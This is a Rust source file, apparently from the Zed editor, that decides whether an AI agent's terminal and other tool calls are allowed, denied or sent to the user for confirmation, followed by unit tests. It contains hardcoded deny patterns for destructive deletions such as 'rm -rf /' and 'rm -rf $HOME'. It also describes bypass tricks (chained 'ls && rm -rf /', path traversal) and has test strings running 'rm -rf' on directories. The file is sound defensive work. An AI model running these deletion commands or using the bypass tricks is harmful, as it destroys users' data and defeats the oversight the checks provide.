1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::{
6 TerminalCommandValidation, extract_commands, validate_terminal_command,
7};
8use std::path::{Component, Path};
9use std::sync::LazyLock;
10use util::shell::ShellKind;
11
12const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
13 harmful to be allowed, and cannot be overridden by settings.";
14const INVALID_TERMINAL_COMMAND_MESSAGE: &str = "The terminal command could not be approved because terminal does not \
15 allow shell substitutions or interpolations in permission-protected commands. Forbidden examples include $VAR, \
16 ${VAR}, $(...), backticks, $((...)), <(...), and >(...). Resolve those values before calling terminal, or ask \
17 the user for the literal value to use.";
18
19/// Security rules that are always enforced and cannot be overridden by any setting.
20/// These protect against catastrophic operations like wiping filesystems.
21pub struct HardcodedSecurityRules {
22 pub terminal_deny: Vec<CompiledRegex>,
23}
24
25pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
26 // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
27 // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
28 const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
29 // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
30 const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
31
32 HardcodedSecurityRules {
33 terminal_deny: vec![
34 // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
35 CompiledRegex::new(
36 &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
37 false,
38 )
39 .expect("hardcoded regex should compile"),
40 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
41 CompiledRegex::new(
42 &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
43 false,
44 )
45 .expect("hardcoded regex should compile"),
46 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
47 CompiledRegex::new(
48 &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
49 false,
50 )
51 .expect("hardcoded regex should compile"),
52 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
53 CompiledRegex::new(
54 &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
55 false,
56 )
57 .expect("hardcoded regex should compile"),
58 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
59 CompiledRegex::new(
60 &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
61 false,
62 )
63 .expect("hardcoded regex should compile"),
64 ],
65 }
66});
67
68/// Checks if input matches any hardcoded security rules that cannot be bypassed.
69/// Returns a Deny decision if blocked, None otherwise.
70fn check_hardcoded_security_rules(
71 tool_name: &str,
72 inputs: &[String],
73 shell_kind: ShellKind,
74) -> Option<ToolPermissionDecision> {
75 // Currently only terminal tool has hardcoded rules
76 if tool_name != TerminalTool::NAME {
77 return None;
78 }
79
80 let rules = &*HARDCODED_SECURITY_RULES;
81 let terminal_patterns = &rules.terminal_deny;
82
83 for input in inputs {
84 // First: check the original input as-is (and its path-normalized form)
85 if matches_hardcoded_patterns(input, terminal_patterns) {
86 return Some(ToolPermissionDecision::Deny(
87 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
88 ));
89 }
90
91 // Second: parse and check individual sub-commands (for chained commands)
92 if shell_kind.supports_posix_chaining() {
93 if let Some(commands) = extract_commands(input) {
94 for command in &commands {
95 if matches_hardcoded_patterns(command, terminal_patterns) {
96 return Some(ToolPermissionDecision::Deny(
97 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
98 ));
99 }
100 }
101 }
102 }
103 }
104
105 None
106}
107
108/// Checks a single command against hardcoded patterns, both as-is and with
109/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
110/// and multi-path bypasses like `rm -rf /tmp /`).
111fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
112 for pattern in patterns {
113 if pattern.is_match(command) {
114 return true;
115 }
116 }
117
118 for expanded in expand_rm_to_single_path_commands(command) {
119 for pattern in patterns {
120 if pattern.is_match(&expanded) {
121 return true;
122 }
123 }
124 }
125
126 false
127}
128
129/// For rm commands, expands multi-path arguments into individual single-path
130/// commands with normalized paths. This catches both traversal bypasses like
131/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
132fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
133 let trimmed = command.trim();
134
135 let first_token = trimmed.split_whitespace().next();
136 if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
137 return vec![];
138 }
139
140 let parts: Vec<&str> = trimmed.split_whitespace().collect();
141 let mut flags = Vec::new();
142 let mut paths = Vec::new();
143 let mut past_double_dash = false;
144
145 for part in parts.iter().skip(1) {
146 if !past_double_dash && *part == "--" {
147 past_double_dash = true;
148 flags.push(*part);
149 continue;
150 }
151 if !past_double_dash && part.starts_with('-') {
152 flags.push(*part);
153 } else {
154 paths.push(*part);
155 }
156 }
157
158 let flags_str = if flags.is_empty() {
159 String::new()
160 } else {
161 format!("{} ", flags.join(" "))
162 };
163
164 let mut results = Vec::new();
165 for path in &paths {
166 if path.starts_with('$') {
167 let home_prefix = if path.starts_with("${HOME}") {
168 Some("${HOME}")
169 } else if path.starts_with("$HOME") {
170 Some("$HOME")
171 } else {
172 None
173 };
174
175 if let Some(prefix) = home_prefix {
176 let suffix = &path[prefix.len()..];
177 if suffix.is_empty() {
178 results.push(format!("rm {flags_str}{path}"));
179 } else if suffix.starts_with('/') {
180 let normalized_suffix = normalize_path(suffix);
181 let reconstructed = if normalized_suffix == "/" {
182 prefix.to_string()
183 } else {
184 format!("{prefix}{normalized_suffix}")
185 };
186 results.push(format!("rm {flags_str}{reconstructed}"));
187 } else {
188 results.push(format!("rm {flags_str}{path}"));
189 }
190 } else {
191 results.push(format!("rm {flags_str}{path}"));
192 }
193 continue;
194 }
195
196 let mut normalized = normalize_path(path);
197 if normalized.is_empty() && !Path::new(path).has_root() {
198 normalized = ".".to_string();
199 }
200
201 results.push(format!("rm {flags_str}{normalized}"));
202 }
203
204 results
205}
206
207#[derive(Debug, Clone, PartialEq, Eq)]
208pub enum ToolPermissionDecision {
209 Allow,
210 Deny(String),
211 Confirm,
212}
213
214impl ToolPermissionDecision {
215 /// Determines the permission decision for a tool invocation based on configured rules.
216 ///
217 /// # Precedence Order (highest to lowest)
218 ///
219 /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
220 /// that cannot be bypassed by any user settings.
221 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
222 /// This takes precedence over `always_confirm` and `always_allow` patterns.
223 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
224 /// the user is prompted for confirmation.
225 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
226 /// the tool call proceeds without prompting.
227 /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
228 /// `default` configured, that mode is used.
229 /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
230 /// tool-specific default is set, or when the tool has no entry at all.
231 ///
232 /// # Shell Compatibility (Terminal Tool Only)
233 ///
234 /// For the terminal tool, commands are parsed to extract sub-commands for security.
235 /// All currently supported `ShellKind` variants are treated as compatible because
236 /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
237 /// variant is added that brush-parser cannot safely parse, it should be excluded
238 /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
239 /// patterns to be disabled for that shell.
240 ///
241 /// # Pattern Matching Tips
242 ///
243 /// Patterns are matched as regular expressions against the tool input (e.g., the command
244 /// string for the terminal tool). Some tips for writing effective patterns:
245 ///
246 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
247 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
248 /// This is important for security rules where you want to block specific commands
249 /// without accidentally blocking unrelated commands that happen to contain the same
250 /// substring.
251 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
252 /// - Use `^` and `$` anchors to match the start/end of the input.
253 pub fn from_input(
254 tool_name: &str,
255 inputs: &[String],
256 permissions: &ToolPermissions,
257 shell_kind: ShellKind,
258 ) -> ToolPermissionDecision {
259 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
260 // These cannot be bypassed by any user settings.
261 if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
262 return denial;
263 }
264
265 let rules = permissions.tools.get(tool_name);
266
267 // Check for invalid regex patterns before evaluating rules.
268 // If any patterns failed to compile, block the tool call entirely.
269 if let Some(error) = rules.and_then(|rules| check_invalid_patterns(tool_name, rules)) {
270 return ToolPermissionDecision::Deny(error);
271 }
272
273 if tool_name == TerminalTool::NAME
274 && !rules.map_or(
275 matches!(permissions.default, ToolPermissionMode::Allow),
276 |rules| is_unconditional_allow_all(rules, permissions.default),
277 )
278 && inputs.iter().any(|input| {
279 matches!(
280 validate_terminal_command(input),
281 TerminalCommandValidation::Unsafe | TerminalCommandValidation::Unsupported
282 )
283 })
284 {
285 return ToolPermissionDecision::Deny(INVALID_TERMINAL_COMMAND_MESSAGE.into());
286 }
287
288 let rules = match rules {
289 Some(rules) => rules,
290 None => {
291 // No tool-specific rules, use the global default
292 return match permissions.default {
293 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
294 ToolPermissionMode::Deny => {
295 ToolPermissionDecision::Deny("Blocked by global default: deny".into())
296 }
297 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
298 };
299 }
300 };
301
302 // For the terminal tool, parse each input command to extract all sub-commands.
303 // This prevents shell injection attacks where a user configures an allow
304 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
305 //
306 // If parsing fails or the shell syntax is unsupported, always_allow is
307 // disabled for this command (we set allow_enabled to false to signal this).
308 if tool_name == TerminalTool::NAME {
309 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
310 // See the doc comment above for the list of compatible/incompatible shells.
311 if !shell_kind.supports_posix_chaining() {
312 // For shells with incompatible syntax, we can't reliably parse
313 // the command to extract sub-commands.
314 if !rules.always_allow.is_empty() {
315 // If the user has configured always_allow patterns, we must deny
316 // because we can't safely verify the command doesn't contain
317 // hidden sub-commands that bypass the allow patterns.
318 return ToolPermissionDecision::Deny(format!(
319 "The {} shell does not support \"always allow\" patterns for the terminal \
320 tool because Zed cannot parse its command chaining syntax. Please remove \
321 the always_allow patterns from your tool_permissions settings, or switch \
322 to a POSIX-conforming shell.",
323 shell_kind
324 ));
325 }
326 // No always_allow rules, so we can still check deny/confirm patterns.
327 return check_commands(
328 inputs.iter().map(|s| s.to_string()),
329 rules,
330 tool_name,
331 false,
332 permissions.default,
333 );
334 }
335
336 // Expand each input into its sub-commands and check them all together.
337 let mut all_commands = Vec::new();
338 let mut any_parse_failed = false;
339 for input in inputs {
340 match extract_commands(input) {
341 Some(commands) => all_commands.extend(commands),
342 None => {
343 any_parse_failed = true;
344 all_commands.push(input.to_string());
345 }
346 }
347 }
348 // If any command failed to parse, disable allow patterns for safety.
349 check_commands(
350 all_commands,
351 rules,
352 tool_name,
353 !any_parse_failed,
354 permissions.default,
355 )
356 } else {
357 check_commands(
358 inputs.iter().map(|s| s.to_string()),
359 rules,
360 tool_name,
361 true,
362 permissions.default,
363 )
364 }
365 }
366}
367
368/// Evaluates permission rules against a set of commands.
369///
370/// This function performs a single pass through all commands with the following logic:
371/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
372/// - **CONFIRM**: Track if ANY command matches a confirm pattern
373/// - **ALLOW**: Track if ALL commands match at least one allow pattern
374///
375/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
376/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
377/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
378fn check_commands(
379 commands: impl IntoIterator<Item = String>,
380 rules: &ToolRules,
381 tool_name: &str,
382 allow_enabled: bool,
383 global_default: ToolPermissionMode,
384) -> ToolPermissionDecision {
385 // Single pass through all commands:
386 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
387 // - CONFIRM: Track if ANY command matches a confirm pattern
388 // - ALLOW: Track if ALL commands match at least one allow pattern
389 let mut any_matched_confirm = false;
390 let mut all_matched_allow = true;
391 let mut had_any_commands = false;
392
393 for command in commands {
394 had_any_commands = true;
395
396 // DENY: immediate return if any command matches a deny pattern
397 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
398 return ToolPermissionDecision::Deny(format!(
399 "Command blocked by security rule for {} tool",
400 tool_name
401 ));
402 }
403
404 // CONFIRM: remember if any command matches a confirm pattern
405 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
406 any_matched_confirm = true;
407 }
408
409 // ALLOW: track if all commands match at least one allow pattern
410 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
411 all_matched_allow = false;
412 }
413 }
414
415 // After processing all commands, check accumulated state
416 if any_matched_confirm {
417 return ToolPermissionDecision::Confirm;
418 }
419
420 if allow_enabled && all_matched_allow && had_any_commands {
421 return ToolPermissionDecision::Allow;
422 }
423
424 match rules.default.unwrap_or(global_default) {
425 ToolPermissionMode::Deny => {
426 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
427 }
428 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
429 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
430 }
431}
432
433fn is_unconditional_allow_all(rules: &ToolRules, global_default: ToolPermissionMode) -> bool {
434 // `always_allow` is intentionally not checked here: when the effective default
435 // is already Allow and there are no deny/confirm restrictions, allow patterns
436 // are redundant — the user has opted into allowing everything.
437 rules.always_deny.is_empty()
438 && rules.always_confirm.is_empty()
439 && matches!(
440 rules.default.unwrap_or(global_default),
441 ToolPermissionMode::Allow
442 )
443}
444
445/// Checks if the tool rules contain any invalid regex patterns.
446/// Returns an error message if invalid patterns are found.
447fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
448 if rules.invalid_patterns.is_empty() {
449 return None;
450 }
451
452 let count = rules.invalid_patterns.len();
453 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
454
455 Some(format!(
456 "The {} tool cannot run because {} regex {} failed to compile. \
457 Please fix the invalid patterns in your tool_permissions settings.",
458 tool_name, count, pattern_word
459 ))
460}
461
462/// Convenience wrapper that extracts permission settings from `AgentSettings`.
463///
464/// This is the primary entry point for tools to check permissions. It extracts
465/// `tool_permissions` from the settings and
466/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
467pub fn decide_permission_from_settings(
468 tool_name: &str,
469 inputs: &[String],
470 settings: &AgentSettings,
471) -> ToolPermissionDecision {
472 ToolPermissionDecision::from_input(
473 tool_name,
474 inputs,
475 &settings.tool_permissions,
476 ShellKind::system(),
477 )
478}
479
480/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
481pub fn normalize_path(raw: &str) -> String {
482 let is_absolute = Path::new(raw).has_root();
483 let mut components: Vec<&str> = Vec::new();
484 for component in Path::new(raw).components() {
485 match component {
486 Component::CurDir => {}
487 Component::ParentDir => {
488 if components.last() == Some(&"..") {
489 components.push("..");
490 } else if !components.is_empty() {
491 components.pop();
492 } else if !is_absolute {
493 components.push("..");
494 }
495 }
496 Component::Normal(segment) => {
497 if let Some(s) = segment.to_str() {
498 components.push(s);
499 }
500 }
501 Component::RootDir | Component::Prefix(_) => {}
502 }
503 }
504 let joined = components.join("/");
505 if is_absolute {
506 format!("/{joined}")
507 } else {
508 joined
509 }
510}
511
512/// Decides permission by checking both the raw input path and a simplified/canonicalized
513/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
514pub fn decide_permission_for_paths(
515 tool_name: &str,
516 raw_paths: &[String],
517 settings: &AgentSettings,
518) -> ToolPermissionDecision {
519 let raw_inputs: Vec<String> = raw_paths.to_vec();
520 let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
521
522 let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
523 let any_changed = raw_paths
524 .iter()
525 .zip(&normalized)
526 .any(|(raw, norm)| raw != norm);
527 if !any_changed {
528 return raw_decision;
529 }
530
531 let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
532
533 most_restrictive(raw_decision, normalized_decision)
534}
535
536pub fn decide_permission_for_path(
537 tool_name: &str,
538 raw_path: &str,
539 settings: &AgentSettings,
540) -> ToolPermissionDecision {
541 decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
542}
543
544pub fn most_restrictive(
545 a: ToolPermissionDecision,
546 b: ToolPermissionDecision,
547) -> ToolPermissionDecision {
548 match (&a, &b) {
549 (ToolPermissionDecision::Deny(_), _) => a,
550 (_, ToolPermissionDecision::Deny(_)) => b,
551 (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
552 ToolPermissionDecision::Confirm
553 }
554 _ => a,
555 }
556}
557
558#[cfg(test)]
559mod tests {
560 use super::*;
561 use crate::AgentTool;
562 use crate::pattern_extraction::extract_terminal_pattern;
563 use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
564 use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
565 use gpui::px;
566 use settings::{DefaultAgentView, DockPosition, NotifyWhenAgentWaiting};
567 use std::sync::Arc;
568
569 fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
570 AgentSettings {
571 enabled: true,
572 button: true,
573 dock: DockPosition::Right,
574 flexible: true,
575 default_width: px(300.),
576 default_height: px(600.),
577 default_model: None,
578 inline_assistant_model: None,
579 inline_assistant_use_streaming_tools: false,
580 commit_message_model: None,
581 thread_summary_model: None,
582 inline_alternatives: vec![],
583 favorite_models: vec![],
584 default_profile: AgentProfileId::default(),
585 default_view: DefaultAgentView::Thread,
586 profiles: Default::default(),
587 notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
588 play_sound_when_agent_done: false,
589 single_file_review: false,
590 model_parameters: vec![],
591 enable_feedback: false,
592 expand_edit_card: true,
593 expand_terminal_card: true,
594 cancel_generation_on_terminal_stop: true,
595 use_modifier_to_send: true,
596 message_editor_min_lines: 1,
597 tool_permissions,
598 show_turn_stats: false,
599 new_thread_location: Default::default(),
600 }
601 }
602
603 fn pattern(command: &str) -> &'static str {
604 Box::leak(
605 extract_terminal_pattern(command)
606 .expect("failed to extract pattern")
607 .into_boxed_str(),
608 )
609 }
610
611 struct PermTest {
612 tool: &'static str,
613 input: &'static str,
614 mode: Option<ToolPermissionMode>,
615 allow: Vec<(&'static str, bool)>,
616 deny: Vec<(&'static str, bool)>,
617 confirm: Vec<(&'static str, bool)>,
618 global_default: ToolPermissionMode,
619 shell: ShellKind,
620 }
621
622 impl PermTest {
623 fn new(input: &'static str) -> Self {
624 Self {
625 tool: TerminalTool::NAME,
626 input,
627 mode: None,
628 allow: vec![],
629 deny: vec![],
630 confirm: vec![],
631 global_default: ToolPermissionMode::Confirm,
632 shell: ShellKind::Posix,
633 }
634 }
635
636 fn tool(mut self, t: &'static str) -> Self {
637 self.tool = t;
638 self
639 }
640 fn mode(mut self, m: ToolPermissionMode) -> Self {
641 self.mode = Some(m);
642 self
643 }
644 fn allow(mut self, p: &[&'static str]) -> Self {
645 self.allow = p.iter().map(|s| (*s, false)).collect();
646 self
647 }
648 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
649 self.allow = p.iter().map(|s| (*s, true)).collect();
650 self
651 }
652 fn deny(mut self, p: &[&'static str]) -> Self {
653 self.deny = p.iter().map(|s| (*s, false)).collect();
654 self
655 }
656 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
657 self.deny = p.iter().map(|s| (*s, true)).collect();
658 self
659 }
660 fn confirm(mut self, p: &[&'static str]) -> Self {
661 self.confirm = p.iter().map(|s| (*s, false)).collect();
662 self
663 }
664 fn global_default(mut self, m: ToolPermissionMode) -> Self {
665 self.global_default = m;
666 self
667 }
668 fn shell(mut self, s: ShellKind) -> Self {
669 self.shell = s;
670 self
671 }
672
673 fn is_allow(self) {
674 assert_eq!(
675 self.run(),
676 ToolPermissionDecision::Allow,
677 "expected Allow for '{}'",
678 self.input
679 );
680 }
681 fn is_deny(self) {
682 assert!(
683 matches!(self.run(), ToolPermissionDecision::Deny(_)),
684 "expected Deny for '{}'",
685 self.input
686 );
687 }
688 fn is_confirm(self) {
689 assert_eq!(
690 self.run(),
691 ToolPermissionDecision::Confirm,
692 "expected Confirm for '{}'",
693 self.input
694 );
695 }
696
697 fn run(&self) -> ToolPermissionDecision {
698 let mut tools = collections::HashMap::default();
699 tools.insert(
700 Arc::from(self.tool),
701 ToolRules {
702 default: self.mode,
703 always_allow: self
704 .allow
705 .iter()
706 .map(|(p, cs)| {
707 CompiledRegex::new(p, *cs)
708 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
709 })
710 .collect(),
711 always_deny: self
712 .deny
713 .iter()
714 .map(|(p, cs)| {
715 CompiledRegex::new(p, *cs)
716 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
717 })
718 .collect(),
719 always_confirm: self
720 .confirm
721 .iter()
722 .map(|(p, cs)| {
723 CompiledRegex::new(p, *cs)
724 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
725 })
726 .collect(),
727 invalid_patterns: vec![],
728 },
729 );
730 ToolPermissionDecision::from_input(
731 self.tool,
732 &[self.input.to_string()],
733 &ToolPermissions {
734 default: self.global_default,
735 tools,
736 },
737 self.shell,
738 )
739 }
740 }
741
742 fn t(input: &'static str) -> PermTest {
743 PermTest::new(input)
744 }
745
746 fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
747 ToolPermissionDecision::from_input(
748 TerminalTool::NAME,
749 &[input.to_string()],
750 &ToolPermissions {
751 default: global_default,
752 tools: collections::HashMap::default(),
753 },
754 ShellKind::Posix,
755 )
756 }
757
758 // allow pattern matches
759 #[test]
760 fn allow_exact_match() {
761 t("cargo test").allow(&[pattern("cargo")]).is_allow();
762 }
763 #[test]
764 fn allow_one_of_many_patterns() {
765 t("npm install")
766 .allow(&[pattern("cargo"), pattern("npm")])
767 .is_allow();
768 t("git status")
769 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
770 .is_allow();
771 }
772 #[test]
773 fn allow_middle_pattern() {
774 t("run cargo now").allow(&["cargo"]).is_allow();
775 }
776 #[test]
777 fn allow_anchor_prevents_middle() {
778 t("run cargo now").allow(&["^cargo"]).is_confirm();
779 }
780
781 // allow pattern doesn't match -> falls through
782 #[test]
783 fn allow_no_match_confirms() {
784 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
785 }
786 #[test]
787 fn allow_no_match_global_allows() {
788 t("python x.py")
789 .allow(&[pattern("cargo")])
790 .global_default(ToolPermissionMode::Allow)
791 .is_allow();
792 }
793 #[test]
794 fn allow_no_match_tool_confirm_overrides_global_allow() {
795 t("python x.py")
796 .allow(&[pattern("cargo")])
797 .mode(ToolPermissionMode::Confirm)
798 .global_default(ToolPermissionMode::Allow)
799 .is_confirm();
800 }
801 #[test]
802 fn allow_no_match_tool_allow_overrides_global_confirm() {
803 t("python x.py")
804 .allow(&[pattern("cargo")])
805 .mode(ToolPermissionMode::Allow)
806 .global_default(ToolPermissionMode::Confirm)
807 .is_allow();
808 }
809
810 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
811 #[test]
812 fn deny_blocks() {
813 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
814 }
815 // global default: allow does NOT bypass user-configured deny rules
816 #[test]
817 fn deny_not_bypassed_by_global_default_allow() {
818 t("rm -rf ./temp")
819 .deny(&["rm\\s+-rf"])
820 .global_default(ToolPermissionMode::Allow)
821 .is_deny();
822 }
823 #[test]
824 fn deny_blocks_with_mode_allow() {
825 t("rm -rf ./temp")
826 .deny(&["rm\\s+-rf"])
827 .mode(ToolPermissionMode::Allow)
828 .is_deny();
829 }
830 #[test]
831 fn deny_middle_match() {
832 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
833 }
834 #[test]
835 fn deny_no_match_falls_through() {
836 t("ls -la")
837 .deny(&["rm\\s+-rf"])
838 .mode(ToolPermissionMode::Allow)
839 .is_allow();
840 }
841
842 // confirm pattern matches
843 #[test]
844 fn confirm_requires_confirm() {
845 t("sudo apt install")
846 .confirm(&[pattern("sudo")])
847 .is_confirm();
848 }
849 // global default: allow does NOT bypass user-configured confirm rules
850 #[test]
851 fn global_default_allow_does_not_override_confirm_pattern() {
852 t("sudo reboot")
853 .confirm(&[pattern("sudo")])
854 .global_default(ToolPermissionMode::Allow)
855 .is_confirm();
856 }
857 #[test]
858 fn confirm_overrides_mode_allow() {
859 t("sudo x")
860 .confirm(&["sudo"])
861 .mode(ToolPermissionMode::Allow)
862 .is_confirm();
863 }
864
865 // confirm beats allow
866 #[test]
867 fn confirm_beats_allow() {
868 t("git push --force")
869 .allow(&[pattern("git")])
870 .confirm(&["--force"])
871 .is_confirm();
872 }
873 #[test]
874 fn confirm_beats_allow_overlap() {
875 t("deploy prod")
876 .allow(&["deploy"])
877 .confirm(&["prod"])
878 .is_confirm();
879 }
880 #[test]
881 fn allow_when_confirm_no_match() {
882 t("git status")
883 .allow(&[pattern("git")])
884 .confirm(&["--force"])
885 .is_allow();
886 }
887
888 // deny beats allow
889 #[test]
890 fn deny_beats_allow() {
891 t("rm -rf ./tmp/x")
892 .allow(&["/tmp/"])
893 .deny(&["rm\\s+-rf"])
894 .is_deny();
895 }
896
897 #[test]
898 fn deny_beats_confirm() {
899 t("sudo rm -rf ./temp")
900 .confirm(&["sudo"])
901 .deny(&["rm\\s+-rf"])
902 .is_deny();
903 }
904
905 // deny beats everything
906 #[test]
907 fn deny_beats_all() {
908 t("bad cmd")
909 .allow(&["cmd"])
910 .confirm(&["cmd"])
911 .deny(&["bad"])
912 .is_deny();
913 }
914
915 // no patterns -> default
916 #[test]
917 fn default_confirm() {
918 t("python x.py")
919 .mode(ToolPermissionMode::Confirm)
920 .is_confirm();
921 }
922 #[test]
923 fn default_allow() {
924 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
925 }
926 #[test]
927 fn default_deny() {
928 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
929 }
930 // Tool-specific default takes precedence over global default
931 #[test]
932 fn tool_default_deny_overrides_global_allow() {
933 t("python x.py")
934 .mode(ToolPermissionMode::Deny)
935 .global_default(ToolPermissionMode::Allow)
936 .is_deny();
937 }
938
939 // Tool-specific default takes precedence over global default
940 #[test]
941 fn tool_default_confirm_overrides_global_allow() {
942 t("x")
943 .mode(ToolPermissionMode::Confirm)
944 .global_default(ToolPermissionMode::Allow)
945 .is_confirm();
946 }
947
948 #[test]
949 fn no_rules_uses_global_default() {
950 assert_eq!(
951 no_rules("x", ToolPermissionMode::Confirm),
952 ToolPermissionDecision::Confirm
953 );
954 assert_eq!(
955 no_rules("x", ToolPermissionMode::Allow),
956 ToolPermissionDecision::Allow
957 );
958 assert!(matches!(
959 no_rules("x", ToolPermissionMode::Deny),
960 ToolPermissionDecision::Deny(_)
961 ));
962 }
963
964 #[test]
965 fn empty_input_no_match() {
966 t("")
967 .deny(&["rm"])
968 .mode(ToolPermissionMode::Allow)
969 .is_allow();
970 }
971
972 #[test]
973 fn empty_input_with_allow_falls_to_default() {
974 t("").allow(&["^ls"]).is_confirm();
975 }
976
977 #[test]
978 fn multi_deny_any_match() {
979 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
980 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
981 }
982
983 #[test]
984 fn multi_allow_any_match() {
985 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
986 }
987 #[test]
988 fn multi_none_match() {
989 t("python x")
990 .allow(&["^cargo", "^npm"])
991 .deny(&["rm"])
992 .is_confirm();
993 }
994
995 // tool isolation
996 #[test]
997 fn other_tool_not_affected() {
998 let mut tools = collections::HashMap::default();
999 tools.insert(
1000 Arc::from(TerminalTool::NAME),
1001 ToolRules {
1002 default: Some(ToolPermissionMode::Deny),
1003 always_allow: vec![],
1004 always_deny: vec![],
1005 always_confirm: vec![],
1006 invalid_patterns: vec![],
1007 },
1008 );
1009 tools.insert(
1010 Arc::from(EditFileTool::NAME),
1011 ToolRules {
1012 default: Some(ToolPermissionMode::Allow),
1013 always_allow: vec![],
1014 always_deny: vec![],
1015 always_confirm: vec![],
1016 invalid_patterns: vec![],
1017 },
1018 );
1019 let p = ToolPermissions {
1020 default: ToolPermissionMode::Confirm,
1021 tools,
1022 };
1023 assert!(matches!(
1024 ToolPermissionDecision::from_input(
1025 TerminalTool::NAME,
1026 &["x".to_string()],
1027 &p,
1028 ShellKind::Posix
1029 ),
1030 ToolPermissionDecision::Deny(_)
1031 ));
1032 assert_eq!(
1033 ToolPermissionDecision::from_input(
1034 EditFileTool::NAME,
1035 &["x".to_string()],
1036 &p,
1037 ShellKind::Posix
1038 ),
